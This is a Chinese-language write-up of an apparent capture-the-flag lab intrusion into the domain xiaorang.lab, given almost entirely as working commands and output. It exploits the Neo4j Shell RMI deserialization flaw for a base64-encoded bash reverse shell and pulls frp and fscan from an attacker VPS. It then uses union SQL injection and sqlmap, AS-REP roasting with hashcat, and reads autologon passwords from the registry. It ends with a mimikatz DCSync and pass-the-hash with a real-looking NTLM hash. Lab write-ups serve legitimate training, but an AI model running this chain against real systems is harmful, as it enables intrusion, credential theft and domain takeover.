文章目录
- 外网打点
- 内网信息收集&注入获取域内用户名
- 获取Kerberos无预认证用户TGT
- 利用HasSIDHistory权限获取域控哈希
外网打点
IP端口扫描发现开放了如下端口:
7474
端口发现是Neo4j Browser服务
Neo4j Browser 是 Neo4j 图数据库自带的一个 图形化用户界面 (GUI) 工具,主要用于与 Neo4j 数据库进行交互。它是开发者和数据分析人员常用的工具之一,帮助他们直观地编写查询、可视化图数据、调试语句和探索数据库结构。
该版本为3.4.18
;在Neo4j 3.4.18
及以前,如果开启了Neo4j Shell
接口(Neo4j Shell默认端口1337
),攻击者将可以通过RMI
协议以未授权的身份调用任意方法,其中setSessionVariable
方法存在反序列化漏洞。因为这个漏洞并非RMI
反序列化,所以不受到Java版本的影响。(CVE-2021-34371)
在Neo4j 3.5
及之后的版本,Neo4j Shell
被Cyber Shell
替代。
先打个DNS验证一下:
java.exe -jar .\rhino_gadget.jar rmi://39.99.226.170:1337 "curl neo4j.jr3skk.dnslog.cn"
然后尝试反弹:
java.exe -jar .\rhino_gadget.jar rmi://39.99.226.170:1337 "bash -c {echo,L2.........}|{base64,-d}|{bash,-i}"
成功反弹,并在/home/neo4j/
下找到第一个flag:
内网信息收集&注入获取域内用户名
# frpc.toml
[common]
server_addr = x.x.x.x
server_port = 7000[socks_proxy]
type = tcp
remote_port = 18080
plugin = socks5
# frps.toml
[common]
bindPort = 7000
wget
获取内网穿透工具代理工具(frp
)和资产探测工具(Fscan
)到服务器上去,添加权限执行收集内网信息
# vps上开启http服务
python3 -m http.server 8080# 入口服务器上wget远程下载
wget http://x.x.x.x:8080/frpc -O frpc
wget http://x.x.x.x:8080/frpc.toml -O frpc.toml
wget http://x.x.x.x:8080/fscan -O fscan# 添加执行权限
chmod +x frpc
chmod +x fscan
172.22.6.36/24
C段扫描结果:
start ping
(icmp) Target 172.22.6.25 is alive
(icmp) Target 172.22.6.12 is alive
(icmp) Target 172.22.6.36 is alive
(icmp) Target 172.22.6.38 is alive
[*] Icmp alive hosts len is: 4
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.36:22 open
172.22.6.12:445 open
172.22.6.25:445 open
172.22.6.12:139 open
172.22.6.25:139 open
172.22.6.12:135 open
172.22.6.25:135 open
172.22.6.12:88 open
172.22.6.36:7687 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo
[*]172.22.6.25[->]WIN2019[->]172.22.6.25
[*] NetInfo
[*]172.22.6.12[->]DC-PROGAME[->]172.22.6.12
[*] OsInfo 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.6.12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.6.25 XIAORANG\WIN2019
[*] WebTitle http://172.22.6.38 code:200 len:1531 title:后台登录
[*] WebTitle https://172.22.6.36:7687 code:400 len:50 title:None
已完成 11/11
[*] 扫描结束,耗时: 13.385324785s
2.22.6.36:7687 code:400 len:50 title:None
本地Proxifier
配置:
172.22.6.38
存在一个后台登录
测试功能发现username
处存在SQL注入,构造万能密码可成功登录。
在数据库中翻到了flag02
# 查库
username=admin'union+select+1,group_concat(schema_name),3+from+information_schema.schemata--+&password=admin
[+]: mysql,information_schema,performance_schema,sys,oa_db# 查表
username=admin'union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema='oa_db'--+&password=admin
[+]: oa_admin,oa_f1Agggg,oa_users# 查字段
username=admin'union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='oa_f1Agggg'--+&password=admin
[+]: id,flag02# 查内容
username=admin'union+select+1,group_concat(id,flag02),3+from+oa_db.oa_f1Agggg--+&password=admin
oa_db.oa_admin
找到管理员账号密码
username=admin'union+select+1,group_concat(id,0x7c,username,0x7c,password),3+from+oa_db.oa_admin--+&password=admin
该账号成功登录,但是并无后台。继续找oa_db.oa_users
表
因为该表数据较多,
group_concat()
受长度限制(单次查询最多输出1024
字符),使用sqlmap跑更为方便
python2 sqlmap.py -r data.req --dbms "MySQL" -p "username" -D "oa_db" -T "oa_users" -C "id,email,phone,username" --dump --batch
获取Kerberos无预认证用户TGT
oa_users
表中email
字段为用户名@域名
的格式,可以尝试用来做域内用户枚举
./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab oa_users.txt -o exist_users.txt
整理出这些域内用户,从目标域控制器获取Kerberos无预认证(Pre-Authentication) 的用户的TGT(Ticket Granting Ticket)
python .\examples\GetNPUsers.py -dc-ip 172.22.6.12 -usersfile C:\Users\Administrator\Downloads\exist_domain_users.txt xiaorang.lab/
wenshao@xiaorang.lab
、zhangxin@xiaorang.lab
两个用户可以直接获取到凭证,hashcat爆破
hashcat.exe -m 18200 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:770ddf888888d8fdb2a875759300b075$8b9e828608dab5c5f34652019e714707a0221aa21e81d09cb760de9482a9fd37294405a387220d7572254ff2be3f9cea09d3320a72752b74b32a2d3ef70d8282c116a516b843b60853c6d3c0de43cf9e4ccf6514c243ccf7a41ab5f30577a52aba6a96c591a2d2152b4e6a24c8c87c26377c0ac9672f6330ef753929b3ad3b009359b2a0bfadae878f4838b6cb21aaf08268a654c1a1fa18aafe461c1814505909218c585cec79d232a84675f404f0462bb8318b4ace5d336e31d958c7cd921db16fe1e72c0214672f5985226055bf8c0f213744ffaef36c71802187b900f29776095a9e8bfcd42b5ff41ff0' D:\Tools\Penet\Dictionary\rockyou.txt --force
hashcat.exe -m 18200 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:25386e0cafd59750c6b62609b72b8ed9$cd55fb284d543660ba9b24e2090be422b675ec09b9fcedee92683ae056132738d686f7d1dcf4c01d53426c8da4ff0a04506d98233ae099c732e12ee9fce22fc9d9f4031f52977f19e2146230c722c5c58102c7a972dbedc95c82674bafc11a82d5e56dc9ea6b98a6f42f9ee755073bcb8af603e78cfcd177e2847cbe1712d42c8688eccba027ca11a4d1956890ed70507b8d52cfa1474944279c0d85ba54acfd2bbb271d5db99e51dfe111f348b072fea723f0f7ffb62651bb097bde9ac570761052a500689abc5f8cae5cbfa190337ec2da8e488486c704fa072069953473c2290776ec325679a6cf537ff4' D:\Tools\Penet\Dictionary\rockyou.txt --force
得到两个域内账户:
- 账户:
zhangxin@xiaorang.lab
;密码:strawberry
- 账户:
wenshao@xiaorang.lab
;密码:hellokitty
均可远程登录172.22.6.25
query user
查看服务器用户会话信息时发现了另一个yuxuan
本地用户使用中。
推测使用了Windows自动登录:Windows自动登录:https://developer.aliyun.com/article/485613
如果目标 Windows主机开启了自动登录机制,那么将无需输入用户名密码即可登录。通过注册表修改实现。Windows内置了自动登录的机制,在登录系统时,winlogon会检查注册表下有没有设置自动登录,如果设置了就上就会读取用户名和密码,然后进行验证,通过后就登录进系统了。
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
得到yuxuan@xiaorang.lab
的密码:Yuxuan7QbrgZ3L
利用HasSIDHistory权限获取域控哈希
SharpHound
域内信息收集,BloodHound
分析域内关系:
发现yuxuan@xiaorang.lab
有HasSIDHistory
权限
HasSIDHistory: 用户的SID历史记录,用户在域迁移后,票据还包含着前域所在组的SID,虽然用户不属于前域,但仍拥有前域的权限
yuxuan@xiaorang.lab
有这个权限可以直接DCsync
导出域控的哈希
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
拿到域控Administrator
的哈希,直接PTH过去执行命令获取flag04:
python .\examples\wmiexec.py XIAORANG/administrator@172.22.6.12 -hashes ':04d93ffd6f5f6e4490e0de23f240a5e9'
同样的,再在XIAORANG\WIN2019
上执行获取到flag03:
python .\examples\wmiexec.py XIAORANG/administrator@172.22.6.25 -hashes ':04d93ffd6f5f6e4490e0de23f240a5e9'